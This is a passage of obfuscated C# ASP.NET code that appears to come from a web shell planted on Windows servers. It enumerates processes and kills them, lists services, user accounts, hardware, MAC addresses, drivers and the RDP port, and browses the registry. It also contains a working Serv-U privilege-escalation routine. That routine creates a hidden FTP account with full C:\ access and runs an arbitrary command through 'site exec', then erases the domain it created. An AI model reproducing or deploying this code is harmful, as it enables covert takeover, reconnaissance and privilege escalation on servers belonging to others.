  1340. oEnum=(m.Properties.GetEnumerator()as PropertyDataCollection.PropertyDataEnumerator);
  1341.  
  1342. while(oEnum.MoveNext())
  1343.  
  1344. {
  1345.  
  1346. PropertyData DRU=(PropertyData)oEnum.Current;
  1347.  
  1348. if(dt.Columns.IndexOf(DRU.Name)==-1)
  1349.  
  1350. {
  1351.  
  1352. dt.Columns.Add(DRU.Name);
  1353.  
  1354. dt.Columns[dt.Columns.Count-1].DefaultValue="";
  1355.  
  1356. }
  1357.  
  1358. if(m[DRU.Name]!=null)
  1359.  
  1360. {
  1361.  
  1362. dr[DRU.Name]=m[DRU.Name].ToString();
  1363.  
  1364. }
  1365.  
  1366. else
  1367.  
  1368. {
  1369.  
  1370. dr[DRU.Name]=string.Empty;
  1371.  
  1372. }
  1373.  
  1374. }
  1375.  
  1376. dt.Rows.Add(dr);
  1377.  
  1378. }
  1379.  
  1380. }
  1381.  
  1382. catch(Exception error)
  1383.  
  1384. {
  1385.  
  1386. }
  1387.  
  1388. return dt;
  1389.  
  1390. }
  1391.  
  1392. public void YUw()
  1393.  
  1394. {
  1395.  
  1396. try
  1397.  
  1398. {
  1399.  
  1400. Bin_H2_Title.InnerText="Process >>";
  1401.  
  1402. WICxe();
  1403.  
  1404. DCbS.Visible=true;
  1405.  
  1406. int UEbTI=0;
  1407.  
  1408. Process[] p=Process.GetProcesses();
  1409.  
  1410. foreach(Process sp in p)
  1411.  
  1412. {
  1413.  
  1414. UEbTI++;
  1415.  
  1416. string bg=OKM();
  1417.  
  1418. TableRow tr=new TableRow();
  1419.  
  1420. tr.Attributes["onmouseover"]="this.className='focus';";
  1421.  
  1422. tr.CssClass=bg;
  1423.  
  1424. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1425.  
  1426. for(int i=1;i<7;i++)
  1427.  
  1428. {
  1429.  
  1430. TableCell td=new TableCell();
  1431.  
  1432. if(i==1)
  1433.  
  1434. {
  1435.  
  1436. td.Width=Unit.Parse("2%");
  1437.  
  1438. td.Text=UEbTI.ToString();
  1439.  
  1440. tr.Controls.Add(td);
  1441.  
  1442. }
  1443.  
  1444. if(i==2)
  1445.  
  1446. {
  1447.  
  1448. td.Text=sp.Id.ToString();
  1449.  
  1450. tr.Controls.Add(td);
  1451.  
  1452. }
  1453.  
  1454. if(i==3)
  1455.  
  1456. {
  1457.  
  1458. td.Text=sp.ProcessName.ToString();
  1459.  
  1460. tr.Controls.Add(td);
  1461.  
  1462. }
  1463.  
  1464. if(i==4)
  1465.  
  1466. {
  1467.  
  1468. td.Text=sp.Threads.Count.ToString();
  1469.  
  1470. tr.Controls.Add(td);
  1471.  
  1472. }
  1473.  
  1474. if(i==5)
  1475.  
  1476. {
  1477.  
  1478. td.Text=sp.BasePriority.ToString();
  1479.  
  1480. tr.Controls.Add(td);
  1481.  
  1482. }
  1483.  
  1484. if(i==6)
  1485.  
  1486. {
  1487.  
  1488. td.Text="--";
  1489.  
  1490. tr.Controls.Add(td);
  1491.  
  1492. }
  1493.  
  1494. }
  1495.  
  1496. IjsL.Controls.Add(tr);
  1497.  
  1498. }
  1499.  
  1500. }
  1501.  
  1502. catch(Exception error)
  1503.  
  1504. {
  1505.  
  1506. AIz();
  1507.  
  1508. }
  1509.  
  1510. AIz();
  1511.  
  1512. }
  1513.  
  1514. public void AIz()
  1515.  
  1516. {
  1517.  
  1518. try
  1519.  
  1520. {
  1521.  
  1522. Bin_H2_Title.InnerText="Process >>";
  1523.  
  1524. WICxe();
  1525.  
  1526. DCbS.Visible=true;
  1527.  
  1528. int UEbTI=0;
  1529.  
  1530. DataTable dt=cCf("Win32_Process");
  1531.  
  1532. for(int j=0;j<dt.Rows.Count;j++)
  1533.  
  1534. {
  1535.  
  1536. UEbTI++;
  1537.  
  1538. string bg=OKM();
  1539.  
  1540. TableRow tr=new TableRow();
  1541.  
  1542. tr.Attributes["onmouseover"]="this.className='focus';";
  1543.  
  1544. tr.CssClass=bg;
  1545.  
  1546. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1547.  
  1548. for(int i=1;i<7;i++)
  1549.  
  1550. {
  1551.  
  1552. TableCell td=new TableCell();
  1553.  
  1554. if(i==1)
  1555.  
  1556. {
  1557.  
  1558. td.Width=Unit.Parse("2%");
  1559.  
  1560. td.Text=UEbTI.ToString();
  1561.  
  1562. tr.Controls.Add(td);
  1563.  
  1564. }
  1565.  
  1566. if(i==2)
  1567.  
  1568. {
  1569.  
  1570. td.Text=dt.Rows[j]["ProcessID"].ToString();
  1571.  
  1572. tr.Controls.Add(td);
  1573.  
  1574. }
  1575.  
  1576. if(i==3)
  1577.  
  1578. {
  1579.  
  1580. td.Text=dt.Rows[j]["Name"].ToString();
  1581.  
  1582. tr.Controls.Add(td);
  1583.  
  1584. }
  1585.  
  1586. if(i==4)
  1587.  
  1588. {
  1589.  
  1590. td.Text=dt.Rows[j]["ThreadCount"].ToString();
  1591.  
  1592. tr.Controls.Add(td);
  1593.  
  1594. }
  1595.  
  1596. if(i==5)
  1597.  
  1598. {
  1599.  
  1600. td.Text=dt.Rows[j]["Priority"].ToString();
  1601.  
  1602. tr.Controls.Add(td);
  1603.  
  1604. }
  1605.  
  1606. if(i==6)
  1607.  
  1608. {
  1609.  
  1610. if( dt.Rows[j]["CommandLine"]!=string.Empty)
  1611.  
  1612. {
  1613.  
  1614. td.Text="<a href=\"javascript:Bin_PostBack('urJG','"+dt.Rows[j]["ProcessID"].ToString()+"')\">Kill</a>";
  1615.  
  1616. }
  1617.  
  1618. else
  1619.  
  1620. {
  1621.  
  1622. td.Text="--";
  1623.  
  1624. }
  1625.  
  1626. tr.Controls.Add(td);
  1627.  
  1628. }
  1629.  
  1630. }
  1631.  
  1632. IjsL.Controls.Add(tr);
  1633.  
  1634. }
  1635.  
  1636. }
  1637.  
  1638. catch(Exception error)
  1639.  
  1640. {
  1641.  
  1642. xseuB(error.Message);
  1643.  
  1644. }
  1645.  
  1646. }
  1647.  
  1648. public void urJG(string pid)
  1649.  
  1650. {
  1651.  
  1652. try
  1653.  
  1654. {
  1655.  
  1656. foreach(ManagementObject p in PhQTd("Select * from Win32_Process Where ProcessID ='"+pid+"'"))
  1657.  
  1658. {
  1659.  
  1660. p.InvokeMethod("Terminate",null);
  1661.  
  1662. p.Dispose();
  1663.  
  1664. }
  1665.  
  1666. xseuB("Process Kill Success !");
  1667.  
  1668. }
  1669.  
  1670. catch(Exception error)
  1671.  
  1672. {
  1673.  
  1674. xseuB(error.Message);
  1675.  
  1676. }
  1677.  
  1678. AIz();
  1679.  
  1680. }
  1681.  
  1682. public void oHpF()
  1683.  
  1684. {
  1685.  
  1686. try
  1687.  
  1688. {
  1689.  
  1690. Bin_H2_Title.InnerText="Services >>";
  1691.  
  1692. WICxe();
  1693.  
  1694. iQxm.Visible=true;
  1695.  
  1696. int UEbTI=0;
  1697.  
  1698. ServiceController[] kQmRu=System.ServiceProcess.ServiceController.GetServices();
  1699.  
  1700. for(int i=0;i<kQmRu.Length;i++)
  1701.  
  1702. {
  1703.  
  1704. UEbTI++;
  1705.  
  1706. string bg=OKM();
  1707.  
  1708. TableRow tr=new TableRow();
  1709.  
  1710. tr.Attributes["onmouseover"]="this.className='focus';";
  1711.  
  1712. tr.CssClass=bg;
  1713.  
  1714. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1715.  
  1716. for(int b=1;b<7;b++)
  1717.  
  1718. {
  1719.  
  1720. TableCell td=new TableCell();
  1721.  
  1722. if(b==1)
  1723.  
  1724. {
  1725.  
  1726. td.Width=Unit.Parse("2%");
  1727.  
  1728. td.Text=UEbTI.ToString();
  1729.  
  1730. tr.Controls.Add(td);
  1731.  
  1732. }
  1733.  
  1734. if(b==2)
  1735.  
  1736. {
  1737.  
  1738. td.Text="null";
  1739.  
  1740. tr.Controls.Add(td);
  1741.  
  1742. }
  1743.  
  1744. if(b==3)
  1745.  
  1746. {
  1747.  
  1748. td.Text=kQmRu[i].ServiceName.ToString();
  1749.  
  1750. tr.Controls.Add(td);
  1751.  
  1752. }
  1753.  
  1754. if(b==4)
  1755.  
  1756. {
  1757.  
  1758. td.Text="";
  1759.  
  1760. tr.Controls.Add(td);
  1761.  
  1762. }
  1763.  
  1764. if(b==5)
  1765.  
  1766. {
  1767.  
  1768. string kOIo=kQmRu[i].Status.ToString();
  1769.  
  1770. if(kOIo=="Running")
  1771.  
  1772. {
  1773.  
  1774. td.Text="<font color=green>"+kOIo+"</font>";
  1775.  
  1776. }
  1777.  
  1778. else
  1779.  
  1780. {
  1781.  
  1782. td.Text="<font color=red>"+kOIo+"</font>";
  1783.  
  1784. }
  1785.  
  1786. tr.Controls.Add(td);
  1787.  
  1788. }
  1789.  
  1790. if(b==6)
  1791.  
  1792. {
  1793.  
  1794. td.Text="";
  1795.  
  1796. tr.Controls.Add(td);
  1797.  
  1798. }
  1799.  
  1800. }
  1801.  
  1802. vHCs.Controls.Add(tr);
  1803.  
  1804. }
  1805.  
  1806. }
  1807.  
  1808. catch(Exception error)
  1809.  
  1810. {
  1811.  
  1812. xseuB(error.Message);
  1813.  
  1814. }
  1815.  
  1816. }
  1817.  
  1818. public void tZRH()
  1819.  
  1820. {
  1821.  
  1822. try
  1823.  
  1824. {
  1825.  
  1826. Bin_H2_Title.InnerText="Services >>";
  1827.  
  1828. WICxe();
  1829.  
  1830. iQxm.Visible=true;
  1831.  
  1832. int UEbTI=0;
  1833.  
  1834. DataTable dt=cCf("Win32_Service");
  1835.  
  1836. for(int j=0;j<dt.Rows.Count;j++)
  1837.  
  1838. {
  1839.  
  1840. UEbTI++;
  1841.  
  1842. string bg=OKM();
  1843.  
  1844. TableRow tr=new TableRow();
  1845.  
  1846. tr.Attributes["onmouseover"]="this.className='focus';";
  1847.  
  1848. tr.CssClass=bg;
  1849.  
  1850. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  1851.  
  1852. tr.Attributes["title"]=dt.Rows[j]["Description"].ToString();
  1853.  
  1854. for(int i=1;i<7;i++)
  1855.  
  1856. {
  1857.  
  1858. TableCell td=new TableCell();
  1859.  
  1860. if(i==1)
  1861.  
  1862. {
  1863.  
  1864. td.Width=Unit.Parse("2%");
  1865.  
  1866. td.Text=UEbTI.ToString();
  1867.  
  1868. tr.Controls.Add(td);
  1869.  
  1870. }
  1871.  
  1872. if(i==2)
  1873.  
  1874. {
  1875.  
  1876. td.Text=dt.Rows[j]["ProcessID"].ToString();
  1877.  
  1878. tr.Controls.Add(td);
  1879.  
  1880. }
  1881.  
  1882. if(i==3)
  1883.  
  1884. {
  1885.  
  1886. td.Text=dt.Rows[j]["Name"].ToString();
  1887.  
  1888. tr.Controls.Add(td);
  1889.  
  1890. }
  1891.  
  1892. if(i==4)
  1893.  
  1894. {
  1895.  
  1896. td.Text=dt.Rows[j]["PathName"].ToString();
  1897.  
  1898. tr.Controls.Add(td);
  1899.  
  1900. }
  1901.  
  1902. if(i==5)
  1903.  
  1904. {
  1905.  
  1906. string kOIo=dt.Rows[j]["State"].ToString();
  1907.  
  1908. if(kOIo=="Running")
  1909.  
  1910. {
  1911.  
  1912. td.Text="<font color=green>"+kOIo+"</font>";
  1913.  
  1914. }
  1915.  
  1916. else
  1917.  
  1918. {
  1919.  
  1920. td.Text="<font color=red>"+kOIo+"</font>";
  1921.  
  1922. }
  1923.  
  1924. tr.Controls.Add(td);
  1925.  
  1926. }
  1927.  
  1928. if(i==6)
  1929.  
  1930. {
  1931.  
  1932. td.Text=dt.Rows[j]["StartMode"].ToString();
  1933.  
  1934. tr.Controls.Add(td);
  1935.  
  1936. }
  1937.  
  1938. }
  1939.  
  1940. vHCs.Controls.Add(tr);
  1941.  
  1942. }
  1943.  
  1944. }
  1945.  
  1946. catch(Exception error)
  1947.  
  1948. {
  1949.  
  1950. oHpF();
  1951.  
  1952. }
  1953.  
  1954. }
  1955.  
  1956. public void PLd()
  1957.  
  1958. {
  1959.  
  1960. try
  1961.  
  1962. {
  1963.  
  1964. WICxe();
  1965.  
  1966. xWVQ.Visible=true;
  1967.  
  1968. Bin_H2_Title.InnerText="User Information >>";
  1969.  
  1970. DirectoryEntry TWQ=new DirectoryEntry("WinNT://"+Environment.MachineName.ToString());
  1971.  
  1972. foreach(DirectoryEntry child in TWQ.Children)
  1973.  
  1974. {
  1975.  
  1976. foreach(string name in child.Properties.PropertyNames)
  1977.  
  1978. {
  1979.  
  1980. PropertyValueCollection pvc=child.Properties[name];
  1981.  
  1982. int c=pvc.Count;
  1983.  
  1984. for(int i=0;i<c;i++)
  1985.  
  1986. {
  1987.  
  1988. if(name!="objectSid" && name!="Parameters" && name!="LoginHours")
  1989.  
  1990. {
  1991.  
  1992. string bg=OKM();
  1993.  
  1994. TableRow tr=new TableRow();
  1995.  
  1996. tr.Attributes["onmouseover"]="this.className='focus';";
  1997.  
  1998. tr.CssClass=bg;
  1999.  
  2000. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2001.  
  2002. TableCell td=new TableCell();
  2003.  
  2004. td.Text=name;
  2005.  
  2006. tr.Controls.Add(td);
  2007.  
  2008. TableCell td1=new TableCell();
  2009.  
  2010. td1.Text=pvc[i].ToString();
  2011.  
  2012. tr.Controls.Add(td1);
  2013.  
  2014. VPa.Controls.Add(tr);
  2015.  
  2016. }
  2017.  
  2018. }
  2019.  
  2020. }
  2021.  
  2022. TableRow trn=new TableRow();
  2023.  
  2024. for(int x=1;x<3;x++)
  2025.  
  2026. {
  2027.  
  2028. TableCell tdn=new TableCell();
  2029.  
  2030. tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
  2031.  
  2032. trn.Controls.Add(tdn);
  2033.  
  2034. VPa.Controls.Add(trn);
  2035.  
  2036. }
  2037.  
  2038. }
  2039.  
  2040. }
  2041.  
  2042. catch(Exception error)
  2043.  
  2044. {
  2045.  
  2046. xseuB(error.Message);
  2047.  
  2048. }
  2049.  
  2050. }
  2051.  
  2052. public void iLVUT()
  2053.  
  2054. {
  2055.  
  2056. try
  2057.  
  2058. {
  2059.  
  2060. WICxe();
  2061.  
  2062. xWVQ.Visible=true;
  2063.  
  2064. Bin_H2_Title.InnerText="User Information >>";
  2065.  
  2066. DataTable user=cCf("Win32_UserAccount");
  2067.  
  2068. for(int i=0;i<user.Rows.Count;i++)
  2069.  
  2070. {
  2071.  
  2072. for(int j=0;j<user.Columns.Count;j++)
  2073.  
  2074. {
  2075.  
  2076. string bg=OKM();
  2077.  
  2078. TableRow tr=new TableRow();
  2079.  
  2080. tr.Attributes["onmouseover"]="this.className='focus';";
  2081.  
  2082. tr.CssClass=bg;
  2083.  
  2084. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2085.  
  2086. TableCell td=new TableCell();
  2087.  
  2088. td.Text=user.Columns[j].ToString();
  2089.  
  2090. tr.Controls.Add(td);
  2091.  
  2092. TableCell td1=new TableCell();
  2093.  
  2094. td1.Text=user.Rows[i][j].ToString();
  2095.  
  2096. tr.Controls.Add(td1);
  2097.  
  2098. VPa.Controls.Add(tr);
  2099.  
  2100. }
  2101.  
  2102. TableRow trn=new TableRow();
  2103.  
  2104. for(int x=1;x<3;x++)
  2105.  
  2106. {
  2107.  
  2108. TableCell tdn=new TableCell();
  2109.  
  2110. tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
  2111.  
  2112. trn.Controls.Add(tdn);
  2113.  
  2114. VPa.Controls.Add(trn);
  2115.  
  2116. }
  2117.  
  2118. }
  2119.  
  2120. }
  2121.  
  2122. catch(Exception error)
  2123.  
  2124. {
  2125.  
  2126. PLd();
  2127.  
  2128. }
  2129.  
  2130. }
  2131.  
  2132. public void pDVM()
  2133.  
  2134. {
  2135.  
  2136. try
  2137.  
  2138. {
  2139.  
  2140. RegistryKey EeZ=Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp");
  2141.  
  2142. string IKjwH=DdmPl(EeZ,"PortNumber");
  2143.  
  2144. RegistryKey izN=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor");
  2145.  
  2146. int cpu=izN.SubKeyCount;
  2147.  
  2148. RegistryKey mQII=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor\0\");
  2149.  
  2150. string NPPZ=DdmPl(mQII,"ProcessorNameString");
  2151.  
  2152. WICxe();
  2153.  
  2154. ghaB.Visible=true;
  2155.  
  2156. Bin_H2_Title.InnerText="System Information >>";
  2157.  
  2158. Bin_H2_Mac.InnerText="MAC Information >>";
  2159.  
  2160. Bin_H2_Driver.InnerText="Driver Information >>";
  2161.  
  2162. StringBuilder yEwc=new StringBuilder();
  2163.  
  2164. StringBuilder hwJeS=new StringBuilder();
  2165.  
  2166. StringBuilder jXkaE=new StringBuilder();
  2167.  
  2168. yEwc.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>");
  2169.  
  2170. yEwc.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>");
  2171.  
  2172. yEwc.Append("<li><u>Terminal Port : </u>"+IKjwH+"</li>");
  2173.  
  2174. yEwc.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>");
  2175.  
  2176. yEwc.Append("<li><u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>");
  2177.  
  2178. yEwc.Append("<li><u>Server UserName : </u>"+Environment.UserName+"</li>");
  2179.  
  2180. yEwc.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>");
  2181.  
  2182. yEwc.Append("<li><u>Server TimeZone : </u>"+cCf("Win32_TimeZone").Rows[0]["Caption"]+"</li>");
  2183.  
  2184. DataTable BIOS=cCf("Win32_BIOS");
  2185.  
  2186. yEwc.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>");
  2187.  
  2188. yEwc.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>");
  2189.  
  2190. yEwc.Append("<li><u>CPU Version : </u>"+NPPZ+"</li>");
  2191.  
  2192. DataTable upM=cCf("Win32_PhysicalMemory");
  2193.  
  2194. Int64 oZnZV=0;
  2195.  
  2196. for(int i=0;i<upM.Rows.Count;i++)
  2197.  
  2198. {
  2199.  
  2200. oZnZV+=Int64.Parse(upM.Rows[0]["Capacity"].ToString());
  2201.  
  2202. }
  2203.  
  2204. yEwc.Append("<li><u>Server upM : </u>"+mTG(oZnZV)+"</li>");
  2205.  
  2206. DataTable dOza=cCf("Win32_NetworkAdapterConfiguration");
  2207.  
  2208. for(int i=0;i<dOza.Rows.Count;i++)
  2209.  
  2210. {
  2211.  
  2212. hwJeS.Append("<li><u>Server MAC"+i+" : </u>"+dOza.Rows[i]["Caption"]+"</li>");
  2213.  
  2214. if(dOza.Rows[i]["MACAddress"]!=string.Empty)
  2215.  
  2216. {
  2217.  
  2218. hwJeS.Append("<li style=\"list-style:none;\"><u>Address : </u>"+dOza.Rows[i]["MACAddress"]+"</li>");
  2219.  
  2220. }
  2221.  
  2222. }
  2223.  
  2224. DataTable Driver=cCf("Win32_SystemDriver");
  2225.  
  2226. for (int i=0; i<Driver.Rows.Count; i++)
  2227.  
  2228. {
  2229.  
  2230. jXkaE.Append("<li><u class='u1'>Server Driver"+i+" : </u><u class='u2'>"+Driver.Rows[i]["Caption"]+"</u> ");
  2231.  
  2232. if (Driver.Rows[i]["PathName"]!=string.Empty)
  2233.  
  2234. {
  2235.  
  2236. jXkaE.Append("Path : "+Driver.Rows[i]["PathName"]);
  2237.  
  2238. }
  2239.  
  2240. else
  2241.  
  2242. {
  2243.  
  2244. jXkaE.Append("No path information");
  2245.  
  2246. }
  2247.  
  2248. jXkaE.Append("</li>");
  2249.  
  2250. }
  2251.  
  2252. Bin_Ul_Sys.InnerHtml=yEwc.ToString();
  2253.  
  2254. Bin_Ul_NetConfig.InnerHtml=hwJeS.ToString();
  2255.  
  2256. Bin_Ul_Driver.InnerHtml=jXkaE.ToString();
  2257.  
  2258. }
  2259.  
  2260. catch(Exception error)
  2261.  
  2262. {
  2263.  
  2264. xseuB(error.Message);
  2265.  
  2266. }
  2267.  
  2268. }
  2269.  
  2270. public void ADCpk()
  2271.  
  2272. {
  2273.  
  2274. WICxe();
  2275.  
  2276. APl.Visible=true;
  2277.  
  2278. Bin_H2_Title.InnerText="Serv-U Exec >>";
  2279.  
  2280. }
  2281.  
  2282. public void lDODR()
  2283.  
  2284. {
  2285.  
  2286. string JGGg=string.Empty;
  2287.  
  2288. string user=dNohJ.Value;
  2289.  
  2290. string pass=NMd.Value;
  2291.  
  2292. int port=Int32.Parse(HlQl.Value);
  2293.  
  2294. string cmd=mHbjB.Value;
  2295.  
  2296. string CRtK="user "+user+"\r\n";
  2297.  
  2298. string jnNG="pass "+pass+"\r\n";
  2299.  
  2300. string site="SITE MAINTENANCE\r\n";
  2301.  
  2302. string mtoJb="-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  2303.  
  2304. string sutI="-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  2305.  
  2306. string iVDT="-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  2307.  
  2308. string zexn="QUIT\r\n";
  2309.  
  2310. UHlA.Visible=true;
  2311.  
  2312. try
  2313.  
  2314. {
  2315.  
  2316. tcp.Connect("127.0.0.1",port);
  2317.  
  2318. tcp.ReceiveBufferSize=1024;
  2319.  
  2320. NS=tcp.GetStream();
  2321.  
  2322. Rev(NS);
  2323.  
  2324. ZJiM(NS,CRtK);
  2325.  
  2326. Rev(NS);
  2327.  
  2328. ZJiM(NS,jnNG);
  2329.  
  2330. Rev(NS);
  2331.  
  2332. ZJiM(NS,site);
  2333.  
  2334. Rev(NS);
  2335.  
  2336. ZJiM(NS,mtoJb);
  2337.  
  2338. Rev(NS);
  2339.  
  2340. ZJiM(NS,sutI);
  2341.  
  2342. Rev(NS);
  2343.  
  2344. ZJiM(NS,iVDT);
  2345.  
  2346. Rev(NS);
  2347.  
  2348. Bin_Td_Res.InnerHtml+="<font color=\"green\"><b>Exec Cmd.................\r\n</b></font>";
  2349.  
  2350. zvxm.Connect(Request.ServerVariables["LOCAL_ADDR"],52521);
  2351.  
  2352. NS1=zvxm.GetStream();
  2353.  
  2354. Rev(NS1);
  2355.  
  2356. ZJiM(NS1,"user bin\r\n");
  2357.  
  2358. Rev(NS1);
  2359.  
  2360. ZJiM(NS1,"pass binftp\r\n");
  2361.  
  2362. Rev(NS1);
  2363.  
  2364. ZJiM(NS1,"site exec "+cmd+"\r\n");
  2365.  
  2366. Rev(NS1);
  2367.  
  2368. ZJiM(NS1,"quit\r\n");
  2369.  
  2370. Rev(NS1);
  2371.  
  2372. zvxm.Close();
  2373.  
  2374. ZJiM(NS,mtoJb);
  2375.  
  2376. Rev(NS);
  2377.  
  2378. tcp.Close();
  2379.  
  2380. }
  2381.  
  2382. catch(Exception error)
  2383.  
  2384. {
  2385.  
  2386. xseuB(error.Message);
  2387.  
  2388. }
  2389.  
  2390. }
  2391.  
  2392. protected void Rev(NetworkStream instream)
  2393.  
  2394. {
  2395.  
  2396. string FTBtf=string.Empty;
  2397.  
  2398. if(instream.CanRead)
  2399.  
  2400. {
  2401.  
  2402. byte[] uPZ=new byte[1024];
  2403.  
  2404. do
  2405.  
  2406. {
  2407.  
  2408. System.Threading.Thread.Sleep(50);
  2409.  
  2410. int len=instream.Read(uPZ,0,uPZ.Length);
  2411.  
  2412. FTBtf+=Encoding.Default.GetString(uPZ,0,len);
  2413.  
  2414. }
  2415.  
  2416. while(instream.DataAvailable);
  2417.  
  2418. }
  2419.  
  2420. Bin_Td_Res.InnerHtml+="<font color=red>"+FTBtf.Replace("\0","")+"</font>";
  2421.  
  2422. }
  2423.  
  2424. protected void ZJiM(NetworkStream instream,string Sendstr)
  2425.  
  2426. {
  2427.  
  2428. if(instream.CanWrite)
  2429.  
  2430. {
  2431.  
  2432. byte[] uPZ=Encoding.Default.GetBytes(Sendstr);
  2433.  
  2434. instream.Write(uPZ,0,uPZ.Length);
  2435.  
  2436. }
  2437.  
  2438. Bin_Td_Res.InnerHtml+="<font color=blue>"+Sendstr+"</font>";
  2439.  
  2440. }
  2441.  
  2442. public void xFhz()
  2443.  
  2444. {
  2445.  
  2446. WICxe();
  2447.  
  2448. kkHN.Visible=true;
  2449.  
  2450. Bin_H2_Title.InnerText="RegShell >>";
  2451.  
  2452. string txc=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  2453.  
  2454. vyX.Text="";
  2455.  
  2456. foreach(string rootkey in txc.Split('|'))
  2457.  
  2458. {
  2459.  
  2460. vyX.Text+="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(rootkey)+"')\">"+rootkey+"</a> | ";
  2461.  
  2462. }
  2463.  
  2464. lFAvw();
  2465.  
  2466. }
  2467.  
  2468. protected void lFAvw()
  2469.  
  2470. {
  2471.  
  2472. qPdI.Text="";
  2473.  
  2474. string txc=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
  2475.  
  2476. TableRow tr;
  2477.  
  2478. TableCell tc;
  2479.  
  2480. foreach(string rootkey in txc.Split('|'))
  2481.  
  2482. {
  2483.  
  2484. tr=new TableRow();
  2485.  
  2486. tc=new TableCell();
  2487.  
  2488. string bg=OKM();
  2489.  
  2490. tr.Attributes["onmouseover"]="this.className='focus';";
  2491.  
  2492. tr.CssClass=bg;
  2493.  
  2494. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2495.  
  2496. tc.Width=Unit.Parse("40%");
  2497.  
  2498. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(rootkey)+"')\">"+rootkey+"</a>";
  2499.  
  2500. tr.Cells.Add(tc);
  2501.  
  2502. tc=new TableCell();
  2503.  
  2504. tc.Width=Unit.Parse("60%");
  2505.  
  2506. tc.Text="&lt;RootKey&gt;";
  2507.  
  2508. tr.Cells.Add(tc);
  2509.  
  2510. pLWD.Rows.Add(tr);
  2511.  
  2512. }
  2513.  
  2514. }
  2515.  
  2516. protected void tpRQ(string Reg_Path)
  2517.  
  2518. {
  2519.  
  2520. if(!Reg_Path.EndsWith("\\"))
  2521.  
  2522. {
  2523.  
  2524. Reg_Path=Reg_Path+"\\";
  2525.  
  2526. }
  2527.  
  2528. qPdI.Text=Reg_Path;
  2529.  
  2530. string cJG=Regex.Replace(Reg_Path,@"\\[^\\]+\\?$","");
  2531.  
  2532. cJG=Regex.Replace(cJG,@"\\+","\\");
  2533.  
  2534. TableRow tr=new TableRow();
  2535.  
  2536. TableCell tc=new TableCell();
  2537.  
  2538. string bg=OKM();
  2539.  
  2540. tr.Attributes["onmouseover"]="this.className='focus';";
  2541.  
  2542. tr.CssClass=bg;
  2543.  
  2544. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2545.  
  2546. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(cJG)+"')\">Parent Key</a>";
  2547.  
  2548. tc.Attributes["colspan"]="2" ;
  2549.  
  2550. tr.Cells.Add(tc);
  2551.  
  2552. pLWD.Rows.Add(tr);
  2553.  
  2554. try
  2555.  
  2556. {
  2557.  
  2558. string subpath;
  2559.  
  2560. string kDgkX=Reg_Path.Substring(Reg_Path.IndexOf("\\")+1,Reg_Path.Length-Reg_Path.IndexOf("\\")-1);
  2561.  
  2562. RegistryKey rk=null;
  2563.  
  2564. RegistryKey sk;
  2565.  
  2566. if(Reg_Path.StartsWith("HKEY_LOCAL_MACHINE"))
  2567.  
  2568. {
  2569.  
  2570. rk=Registry.LocalMachine;
  2571.  
  2572. }
  2573.  
  2574. else if(Reg_Path.StartsWith("HKEY_CLASSES_ROOT"))
  2575.  
  2576. {
  2577.  
  2578. rk=Registry.ClassesRoot;
  2579.  
  2580. }
  2581.  
  2582. else if(Reg_Path.StartsWith("HKEY_CURRENT_USER"))
  2583.  
  2584. {
  2585.  
  2586. rk=Registry.CurrentUser;
  2587.  
  2588. }
  2589.  
  2590. else if(Reg_Path.StartsWith("HKEY_USERS"))
  2591.  
  2592. {
  2593.  
  2594. rk=Registry.Users;
  2595.  
  2596. }
  2597.  
  2598. else if(Reg_Path.StartsWith("HKEY_CURRENT_CONFIG"))
  2599.  
  2600. {
  2601.  
  2602. rk=Registry.CurrentConfig;
  2603.  
  2604. }
  2605.  
  2606. if(kDgkX.Length>1)
  2607.  
  2608. {
  2609.  
  2610. sk=rk.OpenSubKey(kDgkX);
  2611.  
  2612. }
  2613.  
  2614. else
  2615.  
  2616. {
